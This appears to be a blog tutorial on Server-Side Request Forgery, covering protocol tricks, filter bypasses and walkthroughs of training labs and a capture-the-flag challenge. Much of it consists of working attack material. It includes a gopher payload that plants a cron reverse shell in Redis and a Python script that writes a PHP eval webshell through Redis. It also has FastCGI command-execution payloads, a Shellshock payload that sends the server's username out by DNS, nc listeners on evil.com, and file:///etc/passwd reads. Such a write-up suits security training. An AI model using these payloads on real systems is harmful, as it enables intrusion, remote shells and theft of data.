banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

Basic Knowledge of SSRF (Server-Side Request Forgery)

Introduction#

Many web applications provide the functionality to fetch data from other servers, commonly referred to as "external resource loading." By using user-specified URLs, web applications can perform various operations, such as fetching images, downloading files, reading file contents, etc. However, if this functionality is misused, attackers can exploit vulnerable web applications as proxies to attack remote and local servers. This form of attack is known as Server-side Request Forgery (SSRF).

In an SSRF attack, the attacker constructs special requests that cause the server-side requests to target systems controlled by the attacker or internal systems. Generally, the targets of SSRF attacks are internal systems that cannot be directly accessed from the external network, such as databases, internal network interfaces, etc., allowing attackers to bypass firewalls and directly access these internal systems.

The formation of SSRF attacks is mainly due to the server providing the functionality to fetch data from other servers without sufficient filtering and restrictions on the target address. For example, the server may allow fetching web page text content from a specified URL, loading images from a specified address, downloading files, etc. If the server does not implement appropriate security controls for these operations, such as checking whether the URL points to an internal network or restricting the range of accessible URLs, attackers may exploit this functionality to carry out SSRF attacks.

Types#

  • Basic (Echo)
  • Non-Echo

Exploitation Process#

Any place that can initiate outbound network requests may have SSRF vulnerabilities. For example, sending a request to the 8080 port of the 127.0.0.1 website returns relevant content, indicating the presence of an SSRF vulnerability.

image

The request packet is as follows:

POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

url=127.0.0.1%3A8000

Attempting to read local files (Windows)

file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts

image

image

If in a Linux environment, read the following files:

file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces

Case 1

GET request

http://example.com/index.php?page=about.php

http://example.com/index.php?page=https://google.com

http://example.com/index.php?page=file:///etc/passwd

Case 2

POST request

POST /test/demo_form.php HTTP/1.1
Host: example.com

url=https://example.com/as&name2=value2

Exploitation Methods#

Common Exploitation Methods for Vulnerabilities#

  • Internal Port Scanning
    • Use DICT, HTTP protocol to probe the open status of internal ports
    • Burp Suite brute force
    • Brute force common ports, such as 80, 8080, 3306, 6379, etc.
    • image
  • Directory Scanning
    • Burp Suite brute force
  • SQL Injection
    • Encoding format, double URL encoding
  • Command Execution
    • Encoding format, double URL encoding
    • Gopher protocol
    • url:gopher://[host]:[port]/double URL encoded TCP data stream
  • CVE-2017-12615
    • Tomcat PUT method to write files
  • Redis Unauthorized Access Vulnerability (No Authentication)
    • DICT protocol (dict://x.x.x.x:6379/)
  • SSRF-XSS

Complex Exploitation Methods for Vulnerabilities#

Blind SSRF Exploitation#

Determine whether a port is open based on response status and response time.

The following is an example table:

image

Use out-of-band techniques for blind SSRF exploitation.

Various Exploitation Protocols

file:///  
dict://  
sftp://  
ldap://  
tftp://  
gopher://

Dict Protocol#

If the server prohibits requests to external sites or allows only whitelisted HTTP requests, the dict protocol can be used.

dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)  
CLIENT libcurl 7.40.0

Gopher Protocol#

The gopher protocol supports sending GET and POST requests: you can intercept the GET request packet and POST request packet to form a request that conforms to the gopher protocol.

The gopher protocol is the most powerful protocol in SSRF exploitation.

In the following case, a 302 redirect receives the request.

http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php

<?php  
   header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');  
?>  
  
evil.com:# nc -lvp 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)  
Hi  
ssrf  
test

Format

gopher://<host>:<port>/<gopher-path>_followed by TCP data stream

curl gopher://127.0.0.1:8000/_GET%20test

The default port for gopher is 70.

If sending a POST request, the carriage return and line feed need to be encoded as %0d%0a, and if there are multiple parameters, the parameters must also be URL encoded.

Sending a GET Request

If you want to send the following payload

GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1

It needs to be changed to the following format

curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A

At the end of the HTTP packet, add %0d%0a, which indicates the end of the message.

Sending a POST Request

POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=test

It needs to be changed to the following format

curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A

Exploitation in SSRF

http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc

# Since PHP will perform a URL decoding once after receiving the parameters, it needs to be URL encoded again
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A

In the URL, the / cannot be double encoded, the port number cannot be double encoded, and the protocol name cannot be double encoded.

Using Gopher Protocol to Access Redis for Reverse Shell

curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

S/FTP Protocol#

SFTP protocol is the abbreviation for SSH File Transfer Protocol, which is a secure transfer protocol used for file transfer.

http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)  
SSH-2.0-libssh2_1.4.2

TFTP#

File Transfer Protocol

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET  
  
evil.com:# nc -lvup 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
TESTUDPPACKEToctettsize0blksize512timeout3

File Protocol#

File protocol is used to read sensitive files from the file system.

http://example.com/ssrf.php?url=file:///etc/passwd  
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

LDAP/S/I#

LDAP stands for Lightweight Directory Access Protocol. It is an application protocol used to manage and access distributed directory information services over IP networks.

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

PDF SSRF#

In some cases, the server may convert uploaded files into PDF files.

Attempt to use <iframe>, <img>, <base> or <script> tags, CSS url() to request internal services and read sensitive files.

<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">

AVI#

FastCGI Protocol#

title: ctfhub Target
  • First, listen on the server
nc -lvnp 9000 > 1.txt
  • The client uses a Python script to connect to port 9000
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
  • The generated txt file is then re-encoded using the following Python script
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))

image

Place the payload in the vulnerability parameter.

image

Once the filename is known, use the cat command to view the flag content.

python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php

The steps are the same as before.

Exploitation Cases#

Port Scanning#

SSRF combined with the DICT protocol can be used to probe the open status of internal ports, only probing TCP echo ports.

image

Redis#

curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'

Tools#

https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
The above tool needs to be URL encoded again.

[[ctfhub-skilltree.md#Double Encoding Script|URL Double Encoding Script]]

Redis Write Shell

import urllib
protocol="gopher://"
ip="192.168.134.132" # IP address
port="6379" # Port
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n" # Write content as a one-liner backdoor
filename="1.php" # Filename is 1.php
path="/var/www/html" # Default path
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

Case#

[[ctfhub-skilltree.md#Redis|SSRF Writing Shell Scenario]]

Bypass Techniques#

Fuzz Dictionary#

  • Web Vulnerabilities -> ssrfDicts

Whitelists#

  1. Allow specified IPs or domains to access specified resources.

The whitelist is: abc.com

Directly cannot read

http://example.com/ssrf.php?url=https://google.com 

Need to find an open redirect vulnerability within the whitelist domain and exploit it in conjunction with the open redirect vulnerability.

http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com
  1. Subdomains

Whitelist: *.abc.com

http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com 

Blacklists#

  • Change the IP to the following bypassable IPs.
  • Encode the filtered characters.
  • Or use a domain that points to localhost.

Special IPs#

http://0177.1/   # Decimal http://127.0.0.1
http://0x7f.1/   # Hexadecimal http://127.0.0.1
http://127.000.000.1
https://520968996

Error IPs#

http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/

IPv6#

http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/

Other Protocols#

gopher://
dict://
php://
jar://
tftp://

DNS Spoofing#

10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io

Xip.io#

10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io

Encoding Bypass#

These include hexadecimal encoding, octal encoding, double word encoding, URL encoding, and mixed encoding.

127.0.0.1 translates to 0x7f.0x0.0x0.0x1
127.0.0.1 translates to 0177.0.0.01
http://127.0.0.1 translates to http://2130706433
localhost translates to %6c%6f%63%61%6c%68%6f%73%74

Whitelist#

  • You can prepend authentication to the URL, separated by @, replacing the username with the internal system IP, and appending the rest of the path at the end, as follows:
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/

image

  • You can also use the # symbol to separate different URL segments.
https://evil-host#expected-host
  • Use DNS naming structures.
https://expected-host.evil-host
  • URL encode characters to obfuscate URL parsers.

302 Redirect#

Sometimes the server may filter many protocols, allowing only "http" or "https" to appear in the incoming URL. In this case, you can write a 302 redirect on your server to exploit the Gopher protocol to attack the internal Redis.

image

SSRF Lab#

Lab: Basic SSRF against the Local Server#

Capture the normal request

image

Change stockApi to http://localhost/admin, directly unauthorized access to the backend panel.

image

Delete the user by entering the following parameter: stockApi=http://localhost/admin/delete?username=carlos

Successfully deleted the account.

image

Lab: Basic SSRF against Another Back-end System#

title: Experiment Target
Perform port scanning on the internal network via SSRF to discover open port 8080 in the 192.168.0.X subnet.

Similarly, go to the check stock page.

The normal request is as follows:

image

Send to intruder.

image

Set payload.

image

By checking the response size, you can see that the IP is 192.168.0.154.

image

Delete user carlos, deletion successful.

image

SSRF with Blacklist-based Input Filter#

Inputting internal URLs is intercepted.

image

Bypassing the blacklist, change 127.0.0.1 to 127.1, admin will also be intercepted, perform double encoding on the 'a' of admin, with the second encoding only for special characters.

image

Delete the carlos account.

image

SSRF with Whitelist-based Input Filters#

image

The whitelist only allows stock.weliketoshop.net to access.

image

By inputting http://[email protected]/, it is observed that this embedded credential URL can bypass.

image

Adding a # symbol after username, it is still intercepted. Perform double URL encoding on the # symbol, and it is found that it is not intercepted.

http://localhost%[email protected]/

image

Followed by admin, the above image bypasses normally.

image

Post the request to delete the carlos account.

stockApi=http://localhost%[email protected]/admin/delete?username=carlos

Lab: SSRF with Filter Bypass via Open Redirection Vulnerability#

Implement SSRF vulnerability through redirect vulnerability, targeting access to http://192.168.0.12:8080/admin and delete the user carlos.

First, you need to find an open redirect vulnerability, which can be found in the link redirection on the product detail page.

image

The link is as follows:

https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com

It can directly redirect to http://www.baidu.com.

Capture the check stock request packet.

Send the above packet, and it prompts that the path parameter is missing.

image

Removing currentProductId is sufficient.

image

Delete the user.

image

Blind SSRF with Out-of-band Detection#

The vulnerability is located in the referer.

image

Open the Burp Collaborator client and copy a domain.

image

Copy it to the referer and send the request; the Burp Collaborator client receives the sent request.

image

Lab: Blind SSRF with Shellshock Exploitation#

  1. To implement this experiment, you need to install the "Collaborator Everywhere" plugin, which is included in the Burp store; find and install it.

  2. Visit the victim's website and capture the packet, right-click, and add to scope.

image

  1. Continue browsing the website, and the "Collaborator Everywhere" plugin will start sending requests, allowing you to view the relevant responses, indicating that there is an SSRF vulnerability here.

image

  1. The specific request is as follows:

image

Additional requests have also been added.

image

Send to the intruder module for brute force, setting the User-Agent to the following payload, and the referer to the internal server subnet that needs to be brute-forced.

() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net

image

Set the parameters for brute forcing.

image

Set threads to 1.

image

Start brute forcing and check if the Burp Collaborator client receives the request.

image

As shown, the server's username has been obtained.

Vulnerability Impact#

SSRF can perform port scanning on external networks, the server's internal network, and local systems, attacking applications running in the internal network or locally, or using the File protocol to read local files.

Internal service defenses are generally weaker than external service defenses, and some internal services may not have access permission verification for internal access for operational convenience. Therefore, when SSRF exists, it usually causes significant harm.

Defense Methods#

  • Filter returned information
  • Unified error messages
  • Restrict request ports
  • Prohibit uncommon protocols
  • Consider using DNS caching or host whitelists for DNS rebinding

Others#

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.